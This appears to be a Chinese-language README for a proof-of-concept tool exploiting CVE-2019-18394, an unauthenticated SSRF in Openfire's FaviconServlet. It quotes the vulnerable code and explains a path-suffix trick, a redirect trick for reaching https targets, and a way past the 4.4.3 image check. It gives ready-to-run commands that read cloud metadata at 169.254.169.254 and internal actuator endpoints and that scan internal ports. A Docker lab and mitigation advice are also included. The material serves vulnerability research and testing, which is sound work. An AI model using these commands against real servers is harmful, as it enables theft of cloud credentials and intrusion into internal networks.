CVE-2019-18394 的 PoC:Openfire <= 4.4.2 FaviconServlet 中的未认证全读取 SSRF
Ignite Realtime Openfire 4.4.2 及更早版本中的未认证服务器端请求伪造 (管理控制台,默认 TCP 9090/9091)。已在 4.4.3 中修复(issue OF-1885)。
host 参数在未经任何验证的情况下被拼接到出站 URL 中,
因此服务器会发起由攻击者选择的 HTTP GET 请求。/getFavicon 不在管理控制台 AuthCheckFilter 的保护范围内,
即使服务器仍处于未配置的初始设置状态也会响应。仅限授权测试。此处所有内容均针对你自己搭建的本地实验环境。
org.jivesoftware.util.FaviconServlet(Openfire 4.4.2):
public void doGet(HttpServletRequest request, HttpServletResponse response) {
String host = request.getParameter("host"); // attacker-controlled
host = "gmail.com".equals(host) ? "google.com" : host;
byte[] bytes = getImage(host, defaultBytes);
if (bytes != null) { writeBytesToStream(bytes, response); } // body returned to caller
}
private byte[] getImage(String host, byte[] defaultImage) {
...
byte[] bytes = getImage("http://" + host + "/favicon.ico"); // unvalidated concatenation
...
}
private byte[] getImage(String url) {
...
try (CloseableHttpResponse response = client.execute(getRequest)) {
if (response.getStatusLine().getStatusCode() == HttpStatus.SC_OK) {
return EntityUtils.toByteArray(response.getEntity()); // full body, not just an image
}
} ...
}
未认证。 在 xmppserver/src/main/webapp/WEB-INF/web.xml 中,AuthCheck 过滤器仅
映射到 *.jsp、PluginServlet 和 dwr-invoker。FaviconServlet 映射到普通路径
/getFavicon,因此不会对其运行任何认证过滤器。
任意路径,而不仅是任意主机。 代码硬编码了 /favicon.ico 后缀。
让 host 以查询字符串结尾可将该后缀推入参数值中:
host = of_internal/secret?x= produces http://of_internal/secret?x=/favicon.ico
协议固定为 http://。 https:// 目标无法直接访问,但该 servlet 的客户端使用
LaxRedirectStrategy,因此一个会继续 302 重定向的 http 端点可以做到。
final byte[] result = EntityUtils.toByteArray(response.getEntity());
if (!GraphicsUtils.isImage(result)) { // OF-1885
return null; // withhold non-image bodies
}
return result;
GraphicsUtils.isImage() 即 ImageIO.read(bytes) != null,是内容检查,而非目标检查。
补丁后仍有两件事得以保留:
/images/server_16x16.gif 不用作基线:初始化时未能加载它的服务器会返回空的失败
响应体,将两者错误匹配会得出错误结果。200,而未映射的兄弟路径返回 404,
这可将真实的 FaviconServlet 映射与全捕获区分开。FaviconServlet 以原始 host 为键缓存命中和未命中,并在两次未命中后短路。
该工具为每个探测添加唯一的 cb= 缓存破坏参数,因此重复运行不会返回陈旧结果。Python 3 标准库,无依赖。
check 确认漏洞:未认证端点 + 带外回调 + 响应泄露
read 通过目标获取任意 http:// URL(完全读取型 SSRF)
scan 从目标所在网络位置探测内部 TCP 端口
# confirm. --callback-host is the address the TARGET calls back to (IP or FQDN).
python3 cve_2019_18394_poc.py check -t 10.0.0.5:9090 --callback-host 192.168.1.20 --json out.json
# read an internal-only resource the tester cannot reach directly
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://127.0.0.1:8080/actuator/env
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://169.254.169.254/latest/meta-data/
# map internal services
python3 cve_2019_18394_poc.py scan -t 10.0.0.5:9090 --host 127.0.0.1 --ports 80,443,8080-8090
标志:--callback-host(目标回调的地址)、--listen-bind / --listen-port
(本地监听器)、--marker-format gif(返回可通过 4.4.3 isImage() 门控的
可解析为图像的内容)、--proxy、--json。
退出码:0 正常,1 发现漏洞,2 错误或不受影响,3 无定论。
差异化 Docker 环境:存在漏洞的 4.4.2(控制台在 :9090)、已修补的 4.4.3(在 :9092),
以及一个主机无法直接访问的仅内部服务。
docker network create cve18394_internal
printf '%s\n' '<h1>INTERNAL SERVICE</h1>' \
'SECRET_FLAG=CVE-2019-18394_ssrf_reached_internal_service_ok' > /tmp/internal-index.html
# internal nginx: no host port mapping, so unreachable from the host, reachable from Openfire
docker run -d --name of_internal --network cve18394_internal \
-v /tmp/internal-index.html:/usr/share/nginx/html/index.html:ro nginx:alpine
docker run -d --name of442 --network cve18394_internal -p 9090:9090 -p 9091:9091 \
gizmotronic/openfire:4.4.2 && docker network connect bridge of442 # VULNERABLE
docker run -d --name of443 --network cve18394_internal -p 9092:9090 \
gizmotronic/openfire:4.4.3 && docker network connect bridge of443 # PATCHED
内部 nginx 没有主机端口映射,因此从主机直接获取会返回 HTTP 000,
但 Openfire 可以访问它。读取其 SECRET_FLAG 证明该请求跨越了信任边界。
在 Docker Desktop 上,目标通过 host.docker.internal 访问你的监听器(将其传给
--callback-host)。在原生 Linux Docker 上,使用 docker0 网关 IP 或省略
--callback-host 以自动检测。
# once both consoles answer on :9090 and :9092
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9090 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9092 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py read -t 127.0.0.1:9090 -d http://of_internal/
每次回调到达时都带有 User-Agent: Apache-HttpClient/... (Java/...),确认该请求
来自 Openfire 自身的 HTTP 客户端,而非该工具。
注释:gif 结果确认了完全读取型 SSRF,但无法区分 4.4.2 与 4.4.3,因为图像形态的 泄露在两者上都有效。使用默认的 text 标记来区分修复前与修复后。
read:4.4.2 泄露了内部的 SECRET_FLAG;4.4.3 拦截了 HTML 页面,但仍返回了
通过路径技巧获取的内部 .gif。
docker rm -f of442 of443 of_internal && docker network rm cve18394_internal # tear down
升级到 Openfire 4.4.3 或更高版本。isImage() 修复并不能阻止出站请求或图像形态的
泄露,因此在不需要 favicon 代理功能的情况下,还应限制 Openfire 主机的出站流量,
并将管理控制台(9090/9091)置于网络控制之后。
cve_2019_18394_poc.py the PoC (check / read / scan), Python 3 stdlib, no dependencies
README.md this document
check 在给定 --json <file> 时会写入一条 JSON 证据记录。
| 目标 | 标记 | 回调 | 响应体泄露 | 判定 | 退出码 |
|---|
| 4.4.2(存在漏洞) | text | 是 | 是,原样 | VULNERABLE(未修补) | 1 |
| 4.4.3(已修补) | text | 是 | 否,被 isImage() 拦截 | PARTIALLY_MITIGATED(盲 SSRF) | 1 |
| 4.4.3(已修补) | gif | 是 | 是,图像 + 尾随文本 | VULNERABLE 完全读取(见注释) | 1 |
| 非 Openfire(nginx) | 不适用 | 不适用 | 不适用 | 端点不存在 | 2 |